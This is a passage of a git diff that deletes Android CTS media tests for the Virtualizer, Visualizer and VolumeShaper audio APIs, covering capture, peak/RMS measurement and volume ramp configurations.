-            boolean[][] values = new boolean[VIRTUALIZATION_MODES.length][CHANNEL_MASKS.length];
-            mVirtualizer.setEnabled(true);
-            assertTrue("invalid state from getEnabled", mVirtualizer.getEnabled());
-            for (int m = 0 ; m < VIRTUALIZATION_MODES.length ; m++) {
-                for (int i = 0 ; i < CHANNEL_MASKS.length ; i++) {
-                    Arrays.fill(angles,AudioFormat.CHANNEL_INVALID);
-                    boolean canVirtualize = mVirtualizer.canVirtualize(CHANNEL_MASKS[i],
-                            VIRTUALIZATION_MODES[m]);
-                    boolean canGetAngles = mVirtualizer.getSpeakerAngles(CHANNEL_MASKS[i],
-                            VIRTUALIZATION_MODES[m], angles);
-                    assertTrue("mismatch capability between canVirtualize() and getSpeakerAngles()",
-                            canVirtualize == canGetAngles);
-                    values[m][i] = canVirtualize;
-                }
-            }
-
-            mVirtualizer.setEnabled(false);
-            assertTrue("invalid state from getEnabled", !mVirtualizer.getEnabled());
-            for (int m = 0 ; m < VIRTUALIZATION_MODES.length ; m++) {
-                for (int i = 0 ; i < CHANNEL_MASKS.length ; i++) {
-                    Arrays.fill(angles,AudioFormat.CHANNEL_INVALID);
-                    boolean canVirtualize = mVirtualizer.canVirtualize(CHANNEL_MASKS[i],
-                            VIRTUALIZATION_MODES[m]);
-                    boolean canGetAngles = mVirtualizer.getSpeakerAngles(CHANNEL_MASKS[i],
-                            VIRTUALIZATION_MODES[m], angles);
-                    assertTrue("mismatch capability between canVirtualize() and getSpeakerAngles()",
-                            canVirtualize == canGetAngles);
-                    assertTrue("mismatch capability between enabled and disabled virtualizer",
-                            canVirtualize == values[m][i]);
-                }
-            }
-
-        } catch (IllegalArgumentException e) {
-            fail("bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("command not supported");
-        } catch (IllegalStateException e) {
-            fail("command called in wrong state");
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // private data
-    //----------------------------------
-    // channel masks to test at input of virtualizer
-    private static final int[] CHANNEL_MASKS = {
-            AudioFormat.CHANNEL_OUT_STEREO, //2 channels
-            AudioFormat.CHANNEL_OUT_QUAD, //4 channels
-            //AudioFormat.CHANNEL_OUT_QUAD_SIDE (definition is not public)
-            (AudioFormat.CHANNEL_OUT_FRONT_LEFT | AudioFormat.CHANNEL_OUT_FRONT_RIGHT |
-                    AudioFormat.CHANNEL_OUT_SIDE_LEFT | AudioFormat.CHANNEL_OUT_SIDE_RIGHT), //4 channels
-            AudioFormat.CHANNEL_OUT_5POINT1, //6 channels
-            //AudioFormat.CHANNEL_OUT_5POINT1_SIDE (definition is not public)
-            (AudioFormat.CHANNEL_OUT_FRONT_LEFT | AudioFormat.CHANNEL_OUT_FRONT_RIGHT |
-                    AudioFormat.CHANNEL_OUT_FRONT_CENTER |
-                    AudioFormat.CHANNEL_OUT_LOW_FREQUENCY |
-                    AudioFormat.CHANNEL_OUT_SIDE_LEFT | AudioFormat.CHANNEL_OUT_SIDE_RIGHT) //6 channels
-    };
-
-    private static final int[] CHANNEL_MASKS_CHANNEL_COUNT = {
-        2,
-        4,
-        4,
-        6,
-        6
-    };
-
-    private static final int[] VIRTUALIZATION_MODES = {
-            Virtualizer.VIRTUALIZATION_MODE_BINAURAL,
-            Virtualizer.VIRTUALIZATION_MODE_TRANSAURAL
-    };
-
-    //-----------------------------------------------------------------
-    // private methods
-    //----------------------------------
-
-    private void getVirtualizer(int session) {
-         if (mVirtualizer == null || session != mSession) {
-             if (session != mSession && mVirtualizer != null) {
-                 mVirtualizer.release();
-                 mVirtualizer = null;
-             }
-             try {
-                mVirtualizer = new Virtualizer(0, session);
-                mSession = session;
-            } catch (IllegalArgumentException e) {
-                Log.e(TAG, "getVirtualizer() Virtualizer not found exception: "+e);
-            } catch (UnsupportedOperationException e) {
-                Log.e(TAG, "getVirtualizer() Effect library not loaded exception: "+e);
-            }
-         }
-         assertNotNull("could not create mVirtualizer", mVirtualizer);
-    }
-
-    private void releaseVirtualizer() {
-        if (mVirtualizer != null) {
-            mVirtualizer.release();
-            mVirtualizer = null;
-        }
-    }
-
-    private void waitForLooperInitialization_l() {
-        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-        while (!mInitialized && (looperWaitCount-- > 0)) {
-            try {
-                mLock.wait();
-            } catch(Exception e) {
-            }
-        }
-        assertTrue(mInitialized);
-    }
-
-    // Initializes the virtualizer listener looper
-    class ListenerThread extends Thread {
-        boolean mControl;
-        boolean mEnable;
-        boolean mParameter;
-
-        public ListenerThread(boolean control, boolean enable, boolean parameter) {
-            super();
-            mControl = control;
-            mEnable = enable;
-            mParameter = parameter;
-        }
-
-        public void cleanUp() {
-            if (mVirtualizer2 != null) {
-                mVirtualizer2.setControlStatusListener(null);
-                mVirtualizer2.setEnableStatusListener(null);
-                mVirtualizer2.setParameterListener(
-                        (Virtualizer.OnParameterChangeListener)null);
-            }
-        }
-    }
-
-    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
-        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
-            @Override
-            public void run() {
-                // Set up a looper
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                mSession = getSessionId();
-                mVirtualizer2 = new Virtualizer(0, mSession);
-
-                synchronized(mLock) {
-                    if (mControl) {
-                        mVirtualizer2.setControlStatusListener(
-                                new AudioEffect.OnControlStatusChangeListener() {
-                            public void onControlStatusChange(
-                                    AudioEffect effect, boolean controlGranted) {
-                                synchronized(mLock) {
-                                    if (effect == mVirtualizer2) {
-                                        mHasControl = controlGranted;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mEnable) {
-                        mVirtualizer2.setEnableStatusListener(
-                                new AudioEffect.OnEnableStatusChangeListener() {
-                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
-                                synchronized(mLock) {
-                                    if (effect == mVirtualizer2) {
-                                        mIsEnabled = enabled;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mParameter) {
-                        mVirtualizer2.setParameterListener(new Virtualizer.OnParameterChangeListener() {
-                            public void onParameterChange(Virtualizer effect, int status,
-                                    int param, short value)
-                            {
-                                synchronized(mLock) {
-                                    if (effect == mVirtualizer2) {
-                                        mChangedParameter = param;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-
-                    mInitialized = true;
-                    mLock.notify();
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        };
-        mEffectListenerLooper.start();
-    }
-
-    // Terminates the listener looper thread.
-    private void terminateListenerLooper() {
-        if (mEffectListenerLooper != null) {
-            mEffectListenerLooper.cleanUp();
-            if (mLooper != null) {
-                mLooper.quit();
-                mLooper = null;
-            }
-            try {
-                mEffectListenerLooper.join();
-            } catch(InterruptedException e) {
-            }
-            mEffectListenerLooper = null;
-        }
-        if (mVirtualizer2 != null) {
-            mVirtualizer2.release();
-            mVirtualizer2 = null;
-        }
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/VisualizerTest.java b/tests/tests/media/src/android/media/cts/VisualizerTest.java
deleted file mode 100644
index 3dc7191..0000000
--- a/tests/tests/media/src/android/media/cts/VisualizerTest.java
+++ /dev/null
@@ -1,567 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.media.audiofx.AudioEffect;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.MediaPlayer;
-import android.media.audiofx.Visualizer;
-import android.media.audiofx.Visualizer.MeasurementPeakRms;
-import android.net.Uri;
-import android.os.Looper;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.util.UUID;
-import android.util.Log;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class VisualizerTest extends PostProcTestBase {
-
-    private String TAG = "VisualizerTest";
-    private final static int MIN_CAPTURE_RATE_MAX = 10000; // 10Hz
-    private final static int MIN_CAPTURE_SIZE_MAX = 1024;
-    private final static int MAX_CAPTURE_SIZE_MIN = 512;
-    private final static int MAX_LOOPER_WAIT_COUNT = 10;
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    private Visualizer mVisualizer = null;
-    private byte[] mWaveform = null;
-    private byte[] mFft = null;
-    private boolean mCaptureWaveform = false;
-    private boolean mCaptureFft = false;
-    private Thread mListenerThread;
-
-    //-----------------------------------------------------------------
-    // VISUALIZER TESTS:
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 0 - constructor
-    //----------------------------------
-
-    //Test case 0.0: test constructor and release
-    public void test0_0ConstructorAndRelease() throws Exception {
-        Visualizer visualizer = null;
-        try {
-            visualizer = new Visualizer(0);
-        } catch (IllegalArgumentException e) {
-            fail("Visualizer not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        } finally {
-            if (visualizer != null) {
-                visualizer.release();
-            }
-        }
-    }
-
-
-    //-----------------------------------------------------------------
-    // 1 - get/set parameters
-    //----------------------------------
-
-    //Test case 1.0: capture rates
-    public void test1_0CaptureRates() throws Exception {
-        getVisualizer(0);
-        try {
-            int captureRate = mVisualizer.getMaxCaptureRate();
-            assertTrue("insufficient max capture rate",
-                    captureRate >= MIN_CAPTURE_RATE_MAX);
-            int samplingRate = mVisualizer.getSamplingRate();
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseVisualizer();
-        }
-    }
-
-    //Test case 1.1: test capture size
-    public void test1_1CaptureSize() throws Exception {
-        getVisualizer(0);
-        try {
-            int[] range = mVisualizer.getCaptureSizeRange();
-            assertTrue("insufficient min capture size",
-                    range[0] <= MAX_CAPTURE_SIZE_MIN);
-            assertTrue("insufficient min capture size",
-                    range[1] >= MIN_CAPTURE_SIZE_MAX);
-            mVisualizer.setCaptureSize(range[0]);
-            assertEquals("insufficient min capture size",
-                    range[0], mVisualizer.getCaptureSize());
-            mVisualizer.setCaptureSize(range[1]);
-            assertEquals("insufficient min capture size",
-                    range[1], mVisualizer.getCaptureSize());
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseVisualizer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 2 - check capture
-    //----------------------------------
-
-    //Test case 2.0: test capture in polling mode
-    public void test2_0PollingCapture() throws Exception {
-        if (!hasAudioOutput()) {
-            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-        try {
-            getVisualizer(0);
-            mVisualizer.setEnabled(true);
-            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
-            Thread.sleep(100);
-            // check capture on silence
-            byte[] data = new byte[mVisualizer.getCaptureSize()];
-            mVisualizer.getWaveForm(data);
-            int energy = computeEnergy(data, true);
-            assertEquals("getWaveForm reports energy for silence",
-                    0, energy);
-            mVisualizer.getFft(data);
-            energy = computeEnergy(data, false);
-            assertEquals("getFft reports energy for silence",
-                    0, energy);
-
-        } catch (IllegalStateException e) {
-            fail("method called in wrong state");
-        } catch (InterruptedException e) {
-            fail("sleep() interrupted");
-        } finally {
-            releaseVisualizer();
-        }
-    }
-
-    //Test case 2.1: test capture with listener
-    public void test2_1ListenerCapture() throws Exception {
-        if (!hasAudioOutput()) {
-            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-        try {
-            getVisualizer(0);
-            synchronized(mLock) {
-                mInitialized = false;
-                createListenerLooper();
-                waitForLooperInitialization_l();
-            }
-            mVisualizer.setEnabled(true);
-            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
-
-            Thread.sleep(100);
-
-            // check capture on silence
-            synchronized(mLock) {
-                mCaptureWaveform = true;
-                int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-                while ((mWaveform == null) && (looperWaitCount-- > 0)) {
-                    try {
-                        mLock.wait();
-                    } catch(Exception e) {
-                    }
-                }
-                mCaptureWaveform = false;
-            }
-            assertNotNull("waveform capture failed", mWaveform);
-            int energy = computeEnergy(mWaveform, true);
-            assertEquals("getWaveForm reports energy for silence",
-                    0, energy);
-
-            synchronized(mLock) {
-                mCaptureFft = true;
-                int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-                while ((mFft == null) && (looperWaitCount-- > 0)) {
-                    try {
-                        mLock.wait();
-                    } catch(Exception e) {
-                    }
-                }
-                mCaptureFft = false;
-            }
-            assertNotNull("FFT capture failed", mFft);
-            energy = computeEnergy(mFft, false);
-            assertEquals("getFft reports energy for silence",
-                    0, energy);
-
-        } catch (IllegalStateException e) {
-            fail("method called in wrong state");
-        } catch (InterruptedException e) {
-            fail("sleep() interrupted");
-        } finally {
-            terminateListenerLooper();
-            releaseVisualizer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 3 - check measurement mode MEASUREMENT_MODE_NONE
-    //----------------------------------
-
-    //Test case 3.0: test setting NONE measurement mode
-    public void test3_0MeasurementModeNone() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            getVisualizer(0);
-            mVisualizer.setEnabled(true);
-            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
-            Thread.sleep(100);
-
-            int status = mVisualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_NONE);
-            assertEquals("setMeasurementMode for NONE doesn't report success",
-                    Visualizer.SUCCESS, status);
-
-            int mode = mVisualizer.getMeasurementMode();
-            assertEquals("getMeasurementMode reports NONE",
-                    Visualizer.MEASUREMENT_MODE_NONE, mode);
-
-        } catch (IllegalStateException e) {
-            fail("method called in wrong state");
-        } catch (InterruptedException e) {
-            fail("sleep() interrupted");
-        } finally {
-            releaseVisualizer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 4 - check measurement mode MEASUREMENT_MODE_PEAK_RMS
-    //----------------------------------
-
-    //Test case 4.0: test setting peak / RMS measurement mode
-    public void test4_0MeasurementModePeakRms() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            getVisualizer(0);
-            mVisualizer.setEnabled(true);
-            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
-            Thread.sleep(100);
-
-            int status = mVisualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
-            assertEquals("setMeasurementMode for PEAK_RMS doesn't report success",
-                    Visualizer.SUCCESS, status);
-
-            int mode = mVisualizer.getMeasurementMode();
-            assertEquals("getMeasurementMode doesn't report PEAK_RMS",
-                    Visualizer.MEASUREMENT_MODE_PEAK_RMS, mode);
-
-        } catch (IllegalStateException e) {
-            fail("method called in wrong state");
-        } catch (InterruptedException e) {
-            fail("sleep() interrupted");
-        } finally {
-            releaseVisualizer();
-        }
-    }
-
-    //Test case 4.1: test measurement of peak / RMS
-    public void test4_1MeasurePeakRms() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        AudioEffect vc = null;
-        Preconditions.assertTestFileExists(mInpPrefix + "sine1khzm40db.wav");
-        try {
-            // this test will play a 1kHz sine wave with peaks at -40dB
-            MediaPlayer mp = MediaPlayer
-                    .create(getContext(), Uri.fromFile(new File(mInpPrefix + "sine1khzm40db.wav")));
-            final int EXPECTED_PEAK_MB = -4015;
-            final int EXPECTED_RMS_MB =  -4300;
-            final int MAX_MEASUREMENT_ERROR_MB = 2000;
-            assertNotNull("null MediaPlayer", mp);
-
-            // creating a volume controller on output mix ensures that ro.audio.silent mutes
-            // audio after the effects and not before
-            vc = new AudioEffect(
-                    AudioEffect.EFFECT_TYPE_NULL,
-                    UUID.fromString(BUNDLE_VOLUME_EFFECT_UUID),
-                    0,
-                    mp.getAudioSessionId());
-            vc.setEnabled(true);
-
-            AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
-            assertNotNull("null AudioManager", am);
-            int originalVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
-            am.setStreamVolume(AudioManager.STREAM_MUSIC,
-                    am.getStreamMaxVolume(AudioManager.STREAM_MUSIC), 0);
-            getVisualizer(mp.getAudioSessionId());
-            mp.setLooping(true);
-            mp.start();
-
-            mVisualizer.setEnabled(true);
-            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
-            Thread.sleep(100);
-            int status = mVisualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
-            assertEquals("setMeasurementMode() for PEAK_RMS doesn't report success",
-                    Visualizer.SUCCESS, status);
-            // make sure we're playing long enough so the measurement is valid
-            int currentPosition = mp.getCurrentPosition();
-            final int maxTry = 100;
-            int tryCount = 0;
-            while (currentPosition < 200 && tryCount < maxTry) {
-                Thread.sleep(50);
-                currentPosition = mp.getCurrentPosition();
-                tryCount++;
-            }
-            assertTrue("MediaPlayer not ready", tryCount < maxTry);
-
-            MeasurementPeakRms measurement = new MeasurementPeakRms();
-            status = mVisualizer.getMeasurementPeakRms(measurement);
-            mp.stop();
-            mp.release();
-            am.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
-            assertEquals("getMeasurementPeakRms() reports failure",
-                    Visualizer.SUCCESS, status);
-            Log.i("VisTest", "peak="+measurement.mPeak+"  rms="+measurement.mRms);
-            int deltaPeak = Math.abs(measurement.mPeak - EXPECTED_PEAK_MB);
-            int deltaRms =  Math.abs(measurement.mRms - EXPECTED_RMS_MB);
-            assertTrue("peak deviation in mB=" + deltaPeak, deltaPeak < MAX_MEASUREMENT_ERROR_MB);
-            assertTrue("RMS deviation in mB=" + deltaRms, deltaRms < MAX_MEASUREMENT_ERROR_MB);
-
-        } catch (IllegalStateException e) {
-            fail("method called in wrong state");
-        } catch (InterruptedException e) {
-            fail("sleep() interrupted");
-        } finally {
-            if (vc != null)
-                vc.release();
-            releaseVisualizer();
-        }
-    }
-
-    //Test case 4.2: test measurement of peak / RMS in Long MP3
-    public void test4_2MeasurePeakRmsLongMP3() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        AudioEffect vc = null;
-        Preconditions.assertTestFileExists(mInpPrefix + "sine1khzs40dblong.mp3");
-        try {
-            // this test will play a 1kHz sine wave with peaks at -40dB
-            MediaPlayer mp = MediaPlayer.create(getContext(),
-                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")));
-            final int EXPECTED_PEAK_MB = -4015;
-            final int EXPECTED_RMS_MB =  -4300;
-            final int MAX_MEASUREMENT_ERROR_MB = 2000;
-            assertNotNull("null MediaPlayer", mp);
-
-            // creating a volume controller on output mix ensures that ro.audio.silent mutes
-            // audio after the effects and not before
-            vc = new AudioEffect(
-                    AudioEffect.EFFECT_TYPE_NULL,
-                    UUID.fromString(BUNDLE_VOLUME_EFFECT_UUID),
-                    0,
-                    mp.getAudioSessionId());
-            vc.setEnabled(true);
-
-            AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
-            assertNotNull("null AudioManager", am);
-            int originalVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
-            am.setStreamVolume(AudioManager.STREAM_MUSIC,
-                    am.getStreamMaxVolume(AudioManager.STREAM_MUSIC), 0);
-            getVisualizer(mp.getAudioSessionId());
-            mp.start();
-
-            mVisualizer.setEnabled(true);
-            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
-            Thread.sleep(100);
-            int status = mVisualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
-            assertEquals("setMeasurementMode() for PEAK_RMS doesn't report success",
-                    Visualizer.SUCCESS, status);
-            // make sure we're playing long enough so the measurement is valid
-            int currentPosition = mp.getCurrentPosition();
-            final int maxTry = 100;
-            int tryCount = 0;
-            while (currentPosition < 400 && tryCount < maxTry) {
-                Thread.sleep(50);
-                currentPosition = mp.getCurrentPosition();
-                tryCount++;
-            }
-            assertTrue("MediaPlayer not ready", tryCount < maxTry);
-
-            MeasurementPeakRms measurement = new MeasurementPeakRms();
-            status = mVisualizer.getMeasurementPeakRms(measurement);
-            mp.stop();
-            mp.release();
-            am.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
-            assertEquals("getMeasurementPeakRms() reports failure",
-                    Visualizer.SUCCESS, status);
-            Log.i("VisTest", "peak="+measurement.mPeak+"  rms="+measurement.mRms);
-            int deltaPeak = Math.abs(measurement.mPeak - EXPECTED_PEAK_MB);
-            int deltaRms =  Math.abs(measurement.mRms - EXPECTED_RMS_MB);
-            assertTrue("peak deviation in mB=" + deltaPeak, deltaPeak < MAX_MEASUREMENT_ERROR_MB);
-            assertTrue("RMS deviation in mB=" + deltaRms, deltaRms < MAX_MEASUREMENT_ERROR_MB);
-
-        } catch (IllegalStateException e) {
-            fail("method called in wrong state");
-        } catch (InterruptedException e) {
-            fail("sleep() interrupted");
-        } finally {
-            if (vc != null)
-                vc.release();
-            releaseVisualizer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // private methods
-    //----------------------------------
-
-    private int computeEnergy(byte[] data, boolean pcm) {
-        int energy = 0;
-        if (data.length != 0) {
-            if (pcm) {
-                for (int i = 0; i < data.length; i++) {
-                    int tmp = ((int)data[i] & 0xFF) - 128;
-                    energy += tmp*tmp;
-                }
-            } else {
-                // Note that data[0] is real part of FFT at DC
-                // and data[1] is real part of FFT at Nyquist,
-                // but for the purposes of energy calculation we
-                // don't need to treat them specially.
-                for (int i = 0; i < data.length; i += 2) {
-                    int real = (int)data[i];
-                    int img = (int)data[i + 1];
-                    energy += real * real + img * img;
-                }
-            }
-        }
-        return energy;
-    }
-
-    private void getVisualizer(int session) {
-         if (mVisualizer == null || session != mSession) {
-             if (session != mSession && mVisualizer != null) {
-                 mVisualizer.release();
-                 mVisualizer = null;
-             }
-             try {
-                mVisualizer = new Visualizer(session);
-                mSession = session;
-            } catch (IllegalArgumentException e) {
-                Log.e(TAG, "getVisualizer() Visualizer not found exception: "+e);
-            } catch (UnsupportedOperationException e) {
-                Log.e(TAG, "getVisualizer() Effect library not loaded exception: "+e);
-            }
-         }
-         assertNotNull("could not create mVisualizer", mVisualizer);
-    }
-
-    private void releaseVisualizer() {
-        if (mVisualizer != null) {
-            mVisualizer.release();
-            mVisualizer = null;
-        }
-    }
-
-    private void waitForLooperInitialization_l() {
-        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-        while (!mInitialized && (looperWaitCount-- > 0)) {
-            try {
-                mLock.wait();
-            } catch(Exception e) {
-            }
-        }
-        assertTrue(mInitialized);
-    }
-
-    private void createListenerLooper() {
-        mListenerThread = new Thread() {
-            @Override
-            public void run() {
-                // Set up a looper to be used by mEffect.
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                synchronized(mLock) {
-                    if (mVisualizer != null) {
-                        mVisualizer.setDataCaptureListener(new Visualizer.OnDataCaptureListener() {
-                            public void onWaveFormDataCapture(
-                                    Visualizer visualizer, byte[] waveform, int samplingRate) {
-                                synchronized(mLock) {
-                                    if (visualizer == mVisualizer) {
-                                        if (mCaptureWaveform) {
-                                            mWaveform = waveform;
-                                            mLock.notify();
-                                        }
-                                    }
-                                }
-                            }
-
-                            public void onFftDataCapture(
-                                    Visualizer visualizer, byte[] fft, int samplingRate) {
-                                synchronized(mLock) {
-                                    Log.e(TAG, "onFftDataCapture 2 mCaptureFft: "+mCaptureFft);
-                                    if (visualizer == mVisualizer) {
-                                        if (mCaptureFft) {
-                                            mFft = fft;
-                                            mLock.notify();
-                                        }
-                                    }
-                                }
-                            }
-                        },
-                        10000,
-                        true,
-                        true);
-                    }
-                    mInitialized = true;
-                    mLock.notify();
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        };
-        mListenerThread.start();
-    }
-    /*
-     * Terminates the listener looper thread.
-     */
-    private void terminateListenerLooper() {
-        if (mListenerThread != null) {
-            if (mLooper != null) {
-                mLooper.quit();
-                mLooper = null;
-            }
-            try {
-                mListenerThread.join();
-            } catch(InterruptedException e) {
-            }
-            mListenerThread = null;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
deleted file mode 100644
index d24dc4d..0000000
--- a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
+++ /dev/null
@@ -1,1394 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.testng.Assert.assertThrows;
-
-import android.app.ActivityManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioAttributes;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.media.MediaPlayer;
-import android.media.VolumeShaper;
-import android.media.cts.R;
-import android.os.Parcel;
-import android.os.PowerManager;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import androidx.test.filters.FlakyTest;
-import androidx.test.filters.LargeTest;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import java.lang.AutoCloseable;
-import java.util.Arrays;
-
-/**
- * VolumeShaperTest is automated using VolumeShaper.getVolume() to verify that a ramp
- * or a duck is at the expected volume level. Listening to some tests is also possible,
- * as we logcat the expected volume change.
- *
- * To see the listening messages:
- *
- * adb logcat | grep VolumeShaperTest
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class VolumeShaperTest extends CtsAndroidTestCase {
-    private static final String TAG = "VolumeShaperTest";
-
-    // ramp or duck time (duration) used in tests.
-    private static final long RAMP_TIME_MS = 3000;
-
-    // volume tolerance for completion volume checks.
-    private static final float VOLUME_TOLERANCE = 0.0000001f;
-
-    // volume difference permitted on replace() with join.
-    private static final float JOIN_VOLUME_TOLERANCE = 0.1f;
-
-    // time to wait for player state change
-    private static final long WARMUP_TIME_MS = 300;
-
-    private static final VolumeShaper.Configuration SILENCE =
-            new VolumeShaper.Configuration.Builder()
-                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_LINEAR)
-                .setCurve(new float[] { 0.f, 1.f } /* times */,
-                        new float[] { 0.f, 0.f } /* volumes */)
-                .setDuration(RAMP_TIME_MS)
-                .build();
-
-    // Duck configurations go from 1.f down to 0.2f (not full ramp down).
-    private static final VolumeShaper.Configuration LINEAR_DUCK =
-            new VolumeShaper.Configuration.Builder()
-                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_LINEAR)
-                .setCurve(new float[] { 0.f, 1.f } /* times */,
-                        new float[] { 1.f, 0.2f } /* volumes */)
-                .setDuration(RAMP_TIME_MS)
-                .build();
-
-    // Ramp configurations go from 0.f up to 1.f
-    private static final VolumeShaper.Configuration LINEAR_RAMP =
-            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.LINEAR_RAMP)
-                .setDuration(RAMP_TIME_MS)
-                .build();
-
-    private static final VolumeShaper.Configuration CUBIC_RAMP =
-            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.CUBIC_RAMP)
-                .setDuration(RAMP_TIME_MS)
-                .build();
-
-    private static final VolumeShaper.Configuration SINE_RAMP =
-            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.SINE_RAMP)
-                .setDuration(RAMP_TIME_MS)
-                .build();
-
-    private static final VolumeShaper.Configuration SCURVE_RAMP =
-            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.SCURVE_RAMP)
-            .setDuration(RAMP_TIME_MS)
-            .build();
-
-    // internal use only
-    private static final VolumeShaper.Configuration LOG_RAMP =
-            new VolumeShaper.Configuration.Builder()
-                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_LINEAR)
-                .setOptionFlags(VolumeShaper.Configuration.OPTION_FLAG_VOLUME_IN_DBFS)
-                .setCurve(new float[] { 0.f, 1.f } /* times */,
-                        new float[] { -80.f, 0.f } /* volumes */)
-                .setDuration(RAMP_TIME_MS)
-                .build();
-
-    // a step ramp is not continuous, so we have a different test for it.
-    private static final VolumeShaper.Configuration STEP_RAMP =
-            new VolumeShaper.Configuration.Builder()
-                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_STEP)
-                .setCurve(new float[] { 0.f, 1.f } /* times */,
-                        new float[] { 0.f, 1.f } /* volumes */)
-                .setDuration(RAMP_TIME_MS)
-                .build();
-
-    private static final VolumeShaper.Configuration[] ALL_STANDARD_RAMPS = {
-        LINEAR_RAMP,
-        CUBIC_RAMP,
-        SINE_RAMP,
-        SCURVE_RAMP,
-    };
-
-    private static final VolumeShaper.Configuration[] TEST_DUCKS = {
